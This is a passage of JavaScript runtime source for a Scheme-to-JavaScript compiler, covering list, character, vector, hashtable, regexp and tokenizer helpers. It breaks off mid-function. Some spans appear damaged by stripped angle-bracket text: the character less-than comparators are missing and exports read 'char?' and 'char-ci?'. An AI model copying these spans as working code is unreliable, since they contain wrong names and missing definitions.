((export #t) (peephole (postfix ".car.car.cdr.car"))) */ function sc_cadaar(p) { return p.car.car.cdr.car; } /*** META ((export #t) (peephole (postfix ".car.cdr.cdr.car"))) */ function sc_caddar(p) { return p.car.cdr.cdr.car; } /*** META ((export #t) (peephole (postfix ".cdr.car.cdr.car"))) */ function sc_cadadr(p) { return p.cdr.car.cdr.car; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.cdr.car"))) */ function sc_cadddr(p) { return p.cdr.cdr.cdr.car; } /*** META ((export #t) (peephole (postfix ".car.car.cdr.cdr"))) */ function sc_cddaar(p) { return p.car.car.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".car.cdr.cdr.cdr"))) */ function sc_cdddar(p) { return p.car.cdr.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.car.cdr.cdr"))) */ function sc_cddadr(p) { return p.cdr.car.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.cdr.cdr"))) */ function sc_cddddr(p) { return p.cdr.cdr.cdr.cdr; } /*** META ((export #t)) */ function sc_lastPair(l) { if (!sc_isPair(l)) sc_error("sc_lastPair: pair expected"); var res = l; var cdr = l.cdr; while (sc_isPair(cdr)) { res = cdr; cdr = res.cdr; } return res; } /*** META ((export #t) (type bool) (peephole (postfix " === null"))) */ function sc_isNull(o) { return (o === null); } /*** META ((export #t) (type bool)) */ function sc_isList(o) { var rabbit; var turtle; var rabbit = o; var turtle = o; while (true) { if (rabbit === null || (rabbit instanceof sc_Pair && rabbit.cdr === null)) return true; // end of list else if ((rabbit instanceof sc_Pair) && (rabbit.cdr instanceof sc_Pair)) { rabbit = rabbit.cdr.cdr; turtle = turtle.cdr; if (rabbit === turtle) return false; // cycle } else return false; // not pair } } /*** META ((export #t)) */ function sc_list() { var res = null; var a = arguments; for (var i = a.length-1; i >= 0; i--) res = new sc_Pair(a[i], res); return res; } /*** META ((export #t)) */ function sc_iota(num, init) { var res = null; if (!init) init = 0; for (var i = num - 1; i >= 0; i--) res = new sc_Pair(i + init, res); return res; } /*** META ((export #t)) */ function sc_makeList(nbEls, fill) { var res = null; for (var i = 0; i < nbEls; i++) res = new sc_Pair(fill, res); return res; } /*** META ((export #t)) */ function sc_length(l) { var res = 0; while (l !== null) { res++; l = l.cdr; } return res; } /*** META ((export #t)) */ function sc_remq(o, l) { var dummy = { cdr : null }; var tail = dummy; while (l !== null) { if (l.car !== o) { tail.cdr = sc_cons(l.car, null); tail = tail.cdr; } l = l.cdr; } return dummy.cdr; } /*** META ((export #t)) */ function sc_remqBang(o, l) { var dummy = { cdr : null }; var tail = dummy; var needsAssig = true; while (l !== null) { if (l.car === o) { needsAssig = true; } else { if (needsAssig) { tail.cdr = l; needsAssig = false; } tail = l; } l = l.cdr; } tail.cdr = null; return dummy.cdr; } /*** META ((export #t)) */ function sc_delete(o, l) { var dummy = { cdr : null }; var tail = dummy; while (l !== null) { if (!sc_isEqual(l.car, o)) { tail.cdr = sc_cons(l.car, null); tail = tail.cdr; } l = l.cdr; } return dummy.cdr; } /*** META ((export #t)) */ function sc_deleteBang(o, l) { var dummy = { cdr : null }; var tail = dummy; var needsAssig = true; while (l !== null) { if (sc_isEqual(l.car, o)) { needsAssig = true; } else { if (needsAssig) { tail.cdr = l; needsAssig = false; } tail = l; } l = l.cdr; } tail.cdr = null; return dummy.cdr; } function sc_reverseAppendBang(l1, l2) { var res = l2; while (l1 !== null) { var tmp = res; res = l1; l1 = l1.cdr; res.cdr = tmp; } return res; } function sc_dualAppend(l1, l2) { if (l1 === null) return l2; if (l2 === null) return l1; var rev = sc_reverse(l1); return sc_reverseAppendBang(rev, l2); } /*** META ((export #t)) */ function sc_append() { if (arguments.length === 0) return null; var res = arguments[arguments.length - 1]; for (var i = arguments.length - 2; i >= 0; i--) res = sc_dualAppend(arguments[i], res); return res; } function sc_dualAppendBang(l1, l2) { if (l1 === null) return l2; if (l2 === null) return l1; var tmp = l1; while (tmp.cdr !== null) tmp=tmp.cdr; tmp.cdr = l2; return l1; } /*** META ((export #t)) */ function sc_appendBang() { var res = null; for (var i = 0; i < arguments.length; i++) res = sc_dualAppendBang(res, arguments[i]); return res; } /*** META ((export #t)) */ function sc_reverse(l1) { var res = null; while (l1 !== null) { res = sc_cons(l1.car, res); l1 = l1.cdr; } return res; } /*** META ((export #t)) */ function sc_reverseBang(l) { return sc_reverseAppendBang(l, null); } /*** META ((export #t)) */ function sc_listTail(l, k) { var res = l; for (var i = 0; i < k; i++) { res = res.cdr; } return res; } /*** META ((export #t)) */ function sc_listRef(l, k) { return sc_listTail(l, k).car; } /* // unoptimized generic versions function sc_memX(o, l, comp) { while (l != null) { if (comp(l.car, o)) return l; l = l.cdr; } return false; } function sc_memq(o, l) { return sc_memX(o, l, sc_isEq); } function sc_memv(o, l) { return sc_memX(o, l, sc_isEqv); } function sc_member(o, l) { return sc_memX(o, l, sc_isEqual); } */ /* optimized versions */ /*** META ((export #t)) */ function sc_memq(o, l) { while (l !== null) { if (l.car === o) return l; l = l.cdr; } return false; } /*** META ((export #t)) */ function sc_memv(o, l) { while (l !== null) { if (l.car === o) return l; l = l.cdr; } return false; } /*** META ((export #t)) */ function sc_member(o, l) { while (l !== null) { if (sc_isEqual(l.car,o)) return l; l = l.cdr; } return false; } /* // generic unoptimized versions function sc_assX(o, al, comp) { while (al != null) { if (comp(al.car.car, o)) return al.car; al = al.cdr; } return false; } function sc_assq(o, al) { return sc_assX(o, al, sc_isEq); } function sc_assv(o, al) { return sc_assX(o, al, sc_isEqv); } function sc_assoc(o, al) { return sc_assX(o, al, sc_isEqual); } */ // optimized versions /*** META ((export #t)) */ function sc_assq(o, al) { while (al !== null) { if (al.car.car === o) return al.car; al = al.cdr; } return false; } /*** META ((export #t)) */ function sc_assv(o, al) { while (al !== null) { if (al.car.car === o) return al.car; al = al.cdr; } return false; } /*** META ((export #t)) */ function sc_assoc(o, al) { while (al !== null) { if (sc_isEqual(al.car.car, o)) return al.car; al = al.cdr; } return false; } /* can be used for mutable strings and characters */ function sc_isCharStringEqual(cs1, cs2) { return cs1.val === cs2.val; } function sc_isCharStringLess(cs1, cs2) { return cs1.val < cs2.val; } function sc_isCharStringGreater(cs1, cs2) { return cs1.val > cs2.val; } function sc_isCharStringLessEqual(cs1, cs2) { return cs1.val <= cs2.val; } function sc_isCharStringGreaterEqual(cs1, cs2) { return cs1.val >= cs2.val; } function sc_isCharStringCIEqual(cs1, cs2) { return cs1.val.toLowerCase() === cs2.val.toLowerCase(); } function sc_isCharStringCILess(cs1, cs2) { return cs1.val.toLowerCase() < cs2.val.toLowerCase(); } function sc_isCharStringCIGreater(cs1, cs2) { return cs1.val.toLowerCase() > cs2.val.toLowerCase(); } function sc_isCharStringCILessEqual(cs1, cs2) { return cs1.val.toLowerCase() <= cs2.val.toLowerCase(); } function sc_isCharStringCIGreaterEqual(cs1, cs2) { return cs1.val.toLowerCase() >= cs2.val.toLowerCase(); } function sc_Char(c) { var cached = sc_Char.lazy[c]; if (cached) return cached; this.val = c; sc_Char.lazy[c] = this; // add return, so FF does not complain. return undefined; } sc_Char.lazy = new Object(); // thanks to Eric sc_Char.char2readable = { "\000": "#\\null", "\007": "#\\bell", "\010": "#\\backspace", "\011": "#\\tab", "\012": "#\\newline", "\014": "#\\page", "\015": "#\\return", "\033": "#\\escape", "\040": "#\\space", "\177": "#\\delete", /* poeticless names */ "\001": "#\\soh", "\002": "#\\stx", "\003": "#\\etx", "\004": "#\\eot", "\005": "#\\enq", "\006": "#\\ack", "\013": "#\\vt", "\016": "#\\so", "\017": "#\\si", "\020": "#\\dle", "\021": "#\\dc1", "\022": "#\\dc2", "\023": "#\\dc3", "\024": "#\\dc4", "\025": "#\\nak", "\026": "#\\syn", "\027": "#\\etb", "\030": "#\\can", "\031": "#\\em", "\032": "#\\sub", "\033": "#\\esc", "\034": "#\\fs", "\035": "#\\gs", "\036": "#\\rs", "\037": "#\\us"}; sc_Char.readable2char = { "null": "\000", "bell": "\007", "backspace": "\010", "tab": "\011", "newline": "\012", "page": "\014", "return": "\015", "escape": "\033", "space": "\040", "delete": "\000", "soh": "\001", "stx": "\002", "etx": "\003", "eot": "\004", "enq": "\005", "ack": "\006", "bel": "\007", "bs": "\010", "ht": "\011", "nl": "\012", "vt": "\013", "np": "\014", "cr": "\015", "so": "\016", "si": "\017", "dle": "\020", "dc1": "\021", "dc2": "\022", "dc3": "\023", "dc4": "\024", "nak": "\025", "syn": "\026", "etb": "\027", "can": "\030", "em": "\031", "sub": "\032", "esc": "\033", "fs": "\034", "gs": "\035", "rs": "\036", "us": "\037", "sp": "\040", "del": "\177"}; sc_Char.prototype.toString = function() { return this.val; }; // sc_toDisplayString == toString sc_Char.prototype.sc_toWriteString = function() { var entry = sc_Char.char2readable[this.val]; if (entry) return entry; else return "#\\" + this.val; }; /*** META ((export #t) (type bool) (peephole (postfix "instanceof sc_Char"))) */ function sc_isChar(c) { return (c instanceof sc_Char); } /*** META ((export char=?) (type bool) (peephole (hole 2 c1 ".val === " c2 ".val"))) */ var sc_isCharEqual = sc_isCharStringEqual; /*** META ((export char?) (type bool) (peephole (hole 2 c1 ".val > " c2 ".val"))) */ var sc_isCharGreater = sc_isCharStringGreater; /*** META ((export char<=?) (type bool) (peephole (hole 2 c1 ".val <= " c2 ".val"))) */ var sc_isCharLessEqual = sc_isCharStringLessEqual; /*** META ((export char>=?) (type bool) (peephole (hole 2 c1 ".val >= " c2 ".val"))) */ var sc_isCharGreaterEqual = sc_isCharStringGreaterEqual; /*** META ((export char-ci=?) (type bool) (peephole (hole 2 c1 ".val.toLowerCase() === " c2 ".val.toLowerCase()"))) */ var sc_isCharCIEqual = sc_isCharStringCIEqual; /*** META ((export char-ci?) (type bool) (peephole (hole 2 c1 ".val.toLowerCase() > " c2 ".val.toLowerCase()"))) */ var sc_isCharCIGreater = sc_isCharStringCIGreater; /*** META ((export char-ci<=?) (type bool) (peephole (hole 2 c1 ".val.toLowerCase() <= " c2 ".val.toLowerCase()"))) */ var sc_isCharCILessEqual = sc_isCharStringCILessEqual; /*** META ((export char-ci>=?) (type bool) (peephole (hole 2 c1 ".val.toLowerCase() >= " c2 ".val.toLowerCase()"))) */ var sc_isCharCIGreaterEqual = sc_isCharStringCIGreaterEqual; var SC_NUMBER_CLASS = "0123456789"; var SC_WHITESPACE_CLASS = ' \r\n\t\f'; var SC_LOWER_CLASS = 'abcdefghijklmnopqrstuvwxyz'; var SC_UPPER_CLASS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; function sc_isCharOfClass(c, cl) { return (cl.indexOf(c) != -1); } /*** META ((export #t) (type bool)) */ function sc_isCharAlphabetic(c) { return sc_isCharOfClass(c.val, SC_LOWER_CLASS) || sc_isCharOfClass(c.val, SC_UPPER_CLASS); } /*** META ((export #t) (type bool) (peephole (hole 1 "SC_NUMBER_CLASS.indexOf(" c ".val) != -1"))) */ function sc_isCharNumeric(c) { return sc_isCharOfClass(c.val, SC_NUMBER_CLASS); } /*** META ((export #t) (type bool)) */ function sc_isCharWhitespace(c) { var tmp = c.val; return tmp === " " || tmp === "\r" || tmp === "\n" || tmp === "\t" || tmp === "\f"; } /*** META ((export #t) (type bool) (peephole (hole 1 "SC_UPPER_CLASS.indexOf(" c ".val) != -1"))) */ function sc_isCharUpperCase(c) { return sc_isCharOfClass(c.val, SC_UPPER_CLASS); } /*** META ((export #t) (type bool) (peephole (hole 1 "SC_LOWER_CLASS.indexOf(" c ".val) != -1"))) */ function sc_isCharLowerCase(c) { return sc_isCharOfClass(c.val, SC_LOWER_CLASS); } /*** META ((export #t) (peephole (postfix ".val.charCodeAt(0)"))) */ function sc_char2integer(c) { return c.val.charCodeAt(0); } /*** META ((export #t) (peephole (hole 1 "new sc_Char(String.fromCharCode(" n "))"))) */ function sc_integer2char(n) { return new sc_Char(String.fromCharCode(n)); } /*** META ((export #t) (peephole (hole 1 "new sc_Char(" c ".val.toUpperCase())"))) */ function sc_charUpcase(c) { return new sc_Char(c.val.toUpperCase()); } /*** META ((export #t) (peephole (hole 1 "new sc_Char(" c ".val.toLowerCase())"))) */ function sc_charDowncase(c) { return new sc_Char(c.val.toLowerCase()); } function sc_makeJSStringOfLength(k, c) { var fill; if (c === undefined) fill = " "; else fill = c; var res = ""; var len = 1; // every round doubles the size of fill. while (k >= len) { if (k & len) res = res.concat(fill); fill = fill.concat(fill); len *= 2; } return res; } function sc_makejsString(k, c) { var fill; if (c) fill = c.val; else fill = " "; return sc_makeJSStringOfLength(k, fill); } function sc_jsstring2list(s) { var res = null; for (var i = s.length - 1; i >= 0; i--) res = sc_cons(new sc_Char(s.charAt(i)), res); return res; } function sc_list2jsstring(l) { var a = new Array(); while(l !== null) { a.push(l.car.val); l = l.cdr; } return "".concat.apply("", a); } var sc_Vector = Array; sc_Vector.prototype.sc_toWriteOrDisplayString = function(writeOrDisplay) { if (this.length === 0) return "#()"; var res = "#(" + writeOrDisplay(this[0]); for (var i = 1; i < this.length; i++) res += " " + writeOrDisplay(this[i]); res += ")"; return res; }; sc_Vector.prototype.sc_toDisplayString = function() { return this.sc_toWriteOrDisplayString(sc_toDisplayString); }; sc_Vector.prototype.sc_toWriteString = function() { return this.sc_toWriteOrDisplayString(sc_toWriteString); }; /*** META ((export vector? array?) (type bool) (peephole (postfix " instanceof sc_Vector"))) */ function sc_isVector(v) { return (v instanceof sc_Vector); } // only applies to vectors function sc_isVectorEqual(v1, v2, comp) { if (v1.length !== v2.length) return false; for (var i = 0; i < v1.length; i++) if (!comp(v1[i], v2[i])) return false; return true; } /*** META ((export make-vector make-array)) */ function sc_makeVector(size, fill) { var a = new sc_Vector(size); if (fill !== undefined) sc_vectorFillBang(a, fill); return a; } /*** META ((export vector array) (peephole (vector))) */ function sc_vector() { var a = new sc_Vector(); for (var i = 0; i < arguments.length; i++) a.push(arguments[i]); return a; } /*** META ((export vector-length array-length) (peephole (postfix ".length"))) */ function sc_vectorLength(v) { return v.length; } /*** META ((export vector-ref array-ref) (peephole (hole 2 v "[" pos "]"))) */ function sc_vectorRef(v, pos) { return v[pos]; } /*** META ((export vector-set! array-set!) (peephole (hole 3 v "[" pos "] = " val))) */ function sc_vectorSetBang(v, pos, val) { v[pos] = val; } /*** META ((export vector->list array->list)) */ function sc_vector2list(a) { var res = null; for (var i = a.length-1; i >= 0; i--) res = sc_cons(a[i], res); return res; } /*** META ((export list->vector list->array)) */ function sc_list2vector(l) { var a = new sc_Vector(); while(l !== null) { a.push(l.car); l = l.cdr; } return a; } /*** META ((export vector-fill! array-fill!)) */ function sc_vectorFillBang(a, fill) { for (var i = 0; i < a.length; i++) a[i] = fill; } /*** META ((export #t)) */ function sc_copyVector(a, len) { if (len <= a.length) return a.slice(0, len); else { var tmp = a.concat(); tmp.length = len; return tmp; } } /*** META ((export #t) (peephole (hole 3 a ".slice(" start "," end ")"))) */ function sc_vectorCopy(a, start, end) { return a.slice(start, end); } /*** META ((export #t)) */ function sc_vectorCopyBang(target, tstart, source, sstart, send) { if (!sstart) sstart = 0; if (!send) send = source.length; // if target == source we don't want to overwrite not yet copied elements. if (tstart <= sstart) { for (var i = tstart, j = sstart; j < send; i++, j++) { target[i] = source[j]; } } else { var diff = send - sstart; for (var i = tstart + diff - 1, j = send - 1; j >= sstart; i--, j--) { target[i] = source[j]; } } return target; } /*** META ((export #t) (type bool) (peephole (hole 1 "typeof " o " === 'function'"))) */ function sc_isProcedure(o) { return (typeof o === "function"); } /*** META ((export #t)) */ function sc_apply(proc) { var args = new Array(); // first part of arguments are not in list-form. for (var i = 1; i < arguments.length - 1; i++) args.push(arguments[i]); var l = arguments[arguments.length - 1]; while (l !== null) { args.push(l.car); l = l.cdr; } return proc.apply(null, args); } /*** META ((export #t)) */ function sc_map(proc, l1) { if (l1 === undefined) return null; // else var nbApplyArgs = arguments.length - 1; var applyArgs = new Array(nbApplyArgs); var revres = null; while (l1 !== null) { for (var i = 0; i < nbApplyArgs; i++) { applyArgs[i] = arguments[i + 1].car; arguments[i + 1] = arguments[i + 1].cdr; } revres = sc_cons(proc.apply(null, applyArgs), revres); } return sc_reverseAppendBang(revres, null); } /*** META ((export #t)) */ function sc_mapBang(proc, l1) { if (l1 === undefined) return null; // else var l1_orig = l1; var nbApplyArgs = arguments.length - 1; var applyArgs = new Array(nbApplyArgs); while (l1 !== null) { var tmp = l1; for (var i = 0; i < nbApplyArgs; i++) { applyArgs[i] = arguments[i + 1].car; arguments[i + 1] = arguments[i + 1].cdr; } tmp.car = proc.apply(null, applyArgs); } return l1_orig; } /*** META ((export #t)) */ function sc_forEach(proc, l1) { if (l1 === undefined) return undefined; // else var nbApplyArgs = arguments.length - 1; var applyArgs = new Array(nbApplyArgs); while (l1 !== null) { for (var i = 0; i < nbApplyArgs; i++) { applyArgs[i] = arguments[i + 1].car; arguments[i + 1] = arguments[i + 1].cdr; } proc.apply(null, applyArgs); } // add return so FF does not complain. return undefined; } /*** META ((export #t)) */ function sc_filter(proc, l1) { var dummy = { cdr : null }; var tail = dummy; while (l1 !== null) { if (proc(l1.car) !== false) { tail.cdr = sc_cons(l1.car, null); tail = tail.cdr; } l1 = l1.cdr; } return dummy.cdr; } /*** META ((export #t)) */ function sc_filterBang(proc, l1) { var head = sc_cons("dummy", l1); var it = head; var next = l1; while (next !== null) { if (proc(next.car) !== false) { it.cdr = next it = next; } next = next.cdr; } it.cdr = null; return head.cdr; } function sc_filterMap1(proc, l1) { var revres = null; while (l1 !== null) { var tmp = proc(l1.car) if (tmp !== false) revres = sc_cons(tmp, revres); l1 = l1.cdr; } return sc_reverseAppendBang(revres, null); } function sc_filterMap2(proc, l1, l2) { var revres = null; while (l1 !== null) { var tmp = proc(l1.car, l2.car); if(tmp !== false) revres = sc_cons(tmp, revres); l1 = l1.cdr; l2 = l2.cdr } return sc_reverseAppendBang(revres, null); } /*** META ((export #t)) */ function sc_filterMap(proc, l1, l2, l3) { if (l2 === undefined) return sc_filterMap1(proc, l1); else if (l3 === undefined) return sc_filterMap2(proc, l1, l2); // else var nbApplyArgs = arguments.length - 1; var applyArgs = new Array(nbApplyArgs); var revres = null; while (l1 !== null) { for (var i = 0; i < nbApplyArgs; i++) { applyArgs[i] = arguments[i + 1].car; arguments[i + 1] = arguments[i + 1].cdr; } var tmp = proc.apply(null, applyArgs); if(tmp !== false) revres = sc_cons(tmp, revres); } return sc_reverseAppendBang(revres, null); } /*** META ((export #t)) */ function sc_any(proc, l) { var revres = null; while (l !== null) { var tmp = proc(l.car); if(tmp !== false) return tmp; l = l.cdr; } return false; } /*** META ((export any?) (peephole (hole 2 "sc_any(" proc "," l ") !== false"))) */ function sc_anyPred(proc, l) { return sc_any(proc, l)!== false; } /*** META ((export #t)) */ function sc_every(proc, l) { var revres = null; var tmp = true; while (l !== null) { tmp = proc(l.car); if (tmp === false) return false; l = l.cdr; } return tmp; } /*** META ((export every?) (peephole (hole 2 "sc_every(" proc "," l ") !== false"))) */ function sc_everyPred(proc, l) { var tmp = sc_every(proc, l); if (tmp !== false) return true; return false; } /*** META ((export #t) (peephole (postfix "()"))) */ function sc_force(o) { return o(); } /*** META ((export #t)) */ function sc_makePromise(proc) { var isResultReady = false; var result = undefined; return function() { if (!isResultReady) { var tmp = proc(); if (!isResultReady) { isResultReady = true; result = tmp; } } return result; }; } function sc_Values(values) { this.values = values; } /*** META ((export #t) (peephole (values))) */ function sc_values() { if (arguments.length === 1) return arguments[0]; else return new sc_Values(arguments); } /*** META ((export #t)) */ function sc_callWithValues(producer, consumer) { var produced = producer(); if (produced instanceof sc_Values) return consumer.apply(null, produced.values); else return consumer(produced); } /*** META ((export #t)) */ function sc_dynamicWind(before, thunk, after) { before(); try { var res = thunk(); return res; } finally { after(); } } // TODO: eval/scheme-report-environment/null-environment/interaction-environment // LIMITATION: 'load' doesn't exist without files. // LIMITATION: transcript-on/transcript-off doesn't exist without files. function sc_Struct(name) { this.name = name; } sc_Struct.prototype.sc_toDisplayString = function() { return "#"; }; sc_Struct.prototype.sc_toWriteString = sc_Struct.prototype.sc_toDisplayString; /*** META ((export #t) (peephole (hole 1 "new sc_Struct(" name ")"))) */ function sc_makeStruct(name) { return new sc_Struct(name); } /*** META ((export #t) (type bool) (peephole (postfix " instanceof sc_Struct"))) */ function sc_isStruct(o) { return (o instanceof sc_Struct); } /*** META ((export #t) (type bool) (peephole (hole 2 "(" 1 " instanceof sc_Struct) && ( " 1 ".name === " 0 ")"))) */ function sc_isStructNamed(name, s) { return ((s instanceof sc_Struct) && (s.name === name)); } /*** META ((export struct-field) (peephole (hole 3 0 "[" 2 "]"))) */ function sc_getStructField(s, name, field) { return s[field]; } /*** META ((export struct-field-set!) (peephole (hole 4 0 "[" 2 "] = " 3))) */ function sc_setStructFieldBang(s, name, field, val) { s[field] = val; } /*** META ((export #t) (peephole (prefix "~"))) */ function sc_bitNot(x) { return ~x; } /*** META ((export #t) (peephole (infix 2 2 "&"))) */ function sc_bitAnd(x, y) { return x & y; } /*** META ((export #t) (peephole (infix 2 2 "|"))) */ function sc_bitOr(x, y) { return x | y; } /*** META ((export #t) (peephole (infix 2 2 "^"))) */ function sc_bitXor(x, y) { return x ^ y; } /*** META ((export #t) (peephole (infix 2 2 "<<"))) */ function sc_bitLsh(x, y) { return x << y; } /*** META ((export #t) (peephole (infix 2 2 ">>"))) */ function sc_bitRsh(x, y) { return x >> y; } /*** META ((export #t) (peephole (infix 2 2 ">>>"))) */ function sc_bitUrsh(x, y) { return x >>> y; } /*** META ((export js-field js-property) (peephole (hole 2 o "[" field "]"))) */ function sc_jsField(o, field) { return o[field]; } /*** META ((export js-field-set! js-property-set!) (peephole (hole 3 o "[" field "] = " val))) */ function sc_setJsFieldBang(o, field, val) { return o[field] = val; } /*** META ((export js-field-delete! js-property-delete!) (peephole (hole 2 "delete" o "[" field "]"))) */ function sc_deleteJsFieldBang(o, field) { delete o[field]; } /*** META ((export #t) (peephole (jsCall))) */ function sc_jsCall(o, fun) { var args = new Array(); for (var i = 2; i < arguments.length; i++) args[i-2] = arguments[i]; return fun.apply(o, args); } /*** META ((export #t) (peephole (jsMethodCall))) */ function sc_jsMethodCall(o, field) { var args = new Array(); for (var i = 2; i < arguments.length; i++) args[i-2] = arguments[i]; return o[field].apply(o, args); } /*** META ((export new js-new) (peephole (jsNew))) */ function sc_jsNew(c) { var evalStr = "new c("; evalStr +=arguments.length > 1? "arguments[1]": ""; for (var i = 2; i < arguments.length; i++) evalStr += ", arguments[" + i + "]"; evalStr +=")"; return eval(evalStr); } // ======================== RegExp ==================== /*** META ((export #t)) */ function sc_pregexp(re) { return new RegExp(sc_string2jsstring(re)); } /*** META ((export #t)) */ function sc_pregexpMatch(re, s) { var reg = (re instanceof RegExp) ? re : sc_pregexp(re); var tmp = reg.exec(sc_string2jsstring(s)); if (tmp == null) return false; var res = null; for (var i = tmp.length-1; i >= 0; i--) { if (tmp[i] !== null) { res = sc_cons(sc_jsstring2string(tmp[i]), res); } else { res = sc_cons(false, res); } } return res; } /*** META ((export #t)) */ function sc_pregexpReplace(re, s1, s2) { var reg; var jss1 = sc_string2jsstring(s1); var jss2 = sc_string2jsstring(s2); if (re instanceof RegExp) { if (re.global) reg = re; else reg = new RegExp(re.source); } else { reg = new RegExp(sc_string2jsstring(re)); } return jss1.replace(reg, jss2); } /*** META ((export pregexp-replace*)) */ function sc_pregexpReplaceAll(re, s1, s2) { var reg; var jss1 = sc_string2jsstring(s1); var jss2 = sc_string2jsstring(s2); if (re instanceof RegExp) { if (re.global) reg = re; else reg = new RegExp(re.source, "g"); } else { reg = new RegExp(sc_string2jsstring(re), "g"); } return jss1.replace(reg, jss2); } /*** META ((export #t)) */ function sc_pregexpSplit(re, s) { var reg = ((re instanceof RegExp) ? re : new RegExp(sc_string2jsstring(re))); var jss = sc_string2jsstring(s); var tmp = jss.split(reg); if (tmp == null) return false; return sc_vector2list(tmp); } /* =========================================================================== */ /* Other library stuff */ /* =========================================================================== */ /*** META ((export #t) (peephole (hole 1 "Math.floor(Math.random()*" 'n ")"))) */ function sc_random(n) { return Math.floor(Math.random()*n); } /*** META ((export current-date) (peephole (hole 0 "new Date()"))) */ function sc_currentDate() { return new Date(); } function sc_Hashtable() { } sc_Hashtable.prototype.toString = function() { return "#{%hashtable}"; }; // sc_toWriteString == sc_toDisplayString == toString function sc_HashtableElement(key, val) { this.key = key; this.val = val; } /*** META ((export #t) (peephole (hole 0 "new sc_Hashtable()"))) */ function sc_makeHashtable() { return new sc_Hashtable(); } /*** META ((export #t)) */ function sc_hashtablePutBang(ht, key, val) { var hash = sc_hash(key); ht[hash] = new sc_HashtableElement(key, val); } /*** META ((export #t)) */ function sc_hashtableGet(ht, key) { var hash = sc_hash(key); if (hash in ht) return ht[hash].val; else return false; } /*** META ((export #t)) */ function sc_hashtableForEach(ht, f) { for (var v in ht) { if (ht[v] instanceof sc_HashtableElement) f(ht[v].key, ht[v].val); } } /*** META ((export hashtable-contains?) (peephole (hole 2 "sc_hash(" 1 ") in " 0))) */ function sc_hashtableContains(ht, key) { var hash = sc_hash(key); if (hash in ht) return true; else return false; } var SC_HASH_COUNTER = 0; function sc_hash(o) { if (o === null) return "null"; else if (o === undefined) return "undefined"; else if (o === true) return "true"; else if (o === false) return "false"; else if (typeof o === "number") return "num-" + o; else if (typeof o === "string") return "jsstr-" + o; else if (o.sc_getHash) return o.sc_getHash(); else return sc_counterHash.call(o); } function sc_counterHash() { if (!this.sc_hash) { this.sc_hash = "hash-" + SC_HASH_COUNTER; SC_HASH_COUNTER++; } return this.sc_hash; } function sc_Trampoline(args, maxTailCalls) { this['__trampoline return__'] = true; this.args = args; this.MAX_TAIL_CALLs = maxTailCalls; } // TODO: call/cc stuff sc_Trampoline.prototype.restart = function() { var o = this; while (true) { // set both globals. SC_TAIL_OBJECT.calls = o.MAX_TAIL_CALLs-1; var fun = o.args.callee; var res = fun.apply(SC_TAIL_OBJECT, o.args); if (res instanceof sc_Trampoline) o = res; else return res; } } /*** META ((export bind-exit-lambda)) */ function sc_bindExitLambda(proc) { var escape_obj = new sc_BindExitException(); var escape = function(res) { escape_obj.res = res; throw escape_obj; }; try { return proc(escape); } catch(e) { if (e === escape_obj) { return e.res; } throw e; } } function sc_BindExitException() { this._internalException = true; } var SC_SCM2JS_GLOBALS = new Object(); // default tail-call depth. // normally the program should set it again. but just in case... var SC_TAIL_OBJECT = new Object(); SC_SCM2JS_GLOBALS.TAIL_OBJECT = SC_TAIL_OBJECT; // ======================== I/O ======================= /*------------------------------------------------------------------*/ function sc_EOF() { } var SC_EOF_OBJECT = new sc_EOF(); function sc_Port() { } /* --------------- Input ports -------------------------------------*/ function sc_InputPort() { } sc_InputPort.prototype = new sc_Port(); sc_InputPort.prototype.peekChar = function() { if (!("peeked" in this)) this.peeked = this.getNextChar(); return this.peeked; } sc_InputPort.prototype.readChar = function() { var tmp = this.peekChar(); delete this.peeked; return tmp; } sc_InputPort.prototype.isCharReady = function() { return true; } sc_InputPort.prototype.close = function() { // do nothing } /* .............. String port ..........................*/ function sc_ErrorInputPort() { }; sc_ErrorInputPort.prototype = new sc_InputPort(); sc_ErrorInputPort.prototype.getNextChar = function() { throw "can't read from error-port."; }; sc_ErrorInputPort.prototype.isCharReady = function() { return false; }; /* .............. String port ..........................*/ function sc_StringInputPort(jsStr) { // we are going to do some charAts on the str. // instead of recreating all the time a String-object, we // create one in the beginning. (not sure, if this is really an optim) this.str = new String(jsStr); this.pos = 0; } sc_StringInputPort.prototype = new sc_InputPort(); sc_StringInputPort.prototype.getNextChar = function() { if (this.pos >= this.str.length) return SC_EOF_OBJECT; return this.str.charAt(this.pos++); }; /* ------------- Read and other lib-funs -------------------------------*/ function sc_Token(type, val, pos) { this.type = type; this.val = val; this.pos = pos; } sc_Token.EOF = 0/*EOF*/; sc_Token.OPEN_PAR = 1/*OPEN_PAR*/; sc_Token.CLOSE_PAR = 2/*CLOSE_PAR*/; sc_Token.OPEN_BRACE = 3/*OPEN_BRACE*/; sc_Token.CLOSE_BRACE = 4/*CLOSE_BRACE*/; sc_Token.OPEN_BRACKET = 5/*OPEN_BRACKET*/; sc_Token.CLOSE_BRACKET = 6/*CLOSE_BRACKET*/; sc_Token.WHITESPACE = 7/*WHITESPACE*/; sc_Token.QUOTE = 8/*QUOTE*/; sc_Token.ID = 9/*ID*/; sc_Token.DOT = 10/*DOT*/; sc_Token.STRING = 11/*STRING*/; sc_Token.NUMBER = 12/*NUMBER*/; sc_Token.ERROR = 13/*ERROR*/; sc_Token.VECTOR_BEGIN = 14/*VECTOR_BEGIN*/; sc_Token.TRUE = 15/*TRUE*/; sc_Token.FALSE = 16/*FALSE*/; sc_Token.UNSPECIFIED = 17/*UNSPECIFIED*/; sc_Token.REFERENCE = 18/*REFERENCE*/; sc_Token.STORE = 19/*STORE*/; sc_Token.CHAR = 20/*CHAR*/; var SC_ID_CLASS = SC_LOWER_CLASS + SC_UPPER_CLASS + "!$%*+-./:<=>?@^_~"; function sc_Tokenizer(port) { this.port = port; } sc_Tokenizer.prototype.peekToken = function() { if (this.peeked) return this.peeked; var newToken = this.nextToken(); this.peeked = newToken; return newToken; }; sc_Tokenizer.prototype.readToken = function() { var tmp = this.peekToken(); delete this.peeked; return tmp; }; sc_Tokenizer.prototype.nextToken = function() { var port = this.port; function isNumberChar(c) { return (c >= "0" && c <= "9"); }; function isIdOrNumberChar(c) { return SC_ID_CLASS.indexOf(c) != -1 || // ID-char (c >= "0" && c <= "9"); } function isWhitespace(c) { return c === " " || c === "\r" || c === "\n" || c === "\t" || c === "\f"; }; function isWhitespaceOrEOF(c) { return isWhitespace(c) || c === SC_EOF_OBJECT; }; function readString() { res = ""; while (true) { 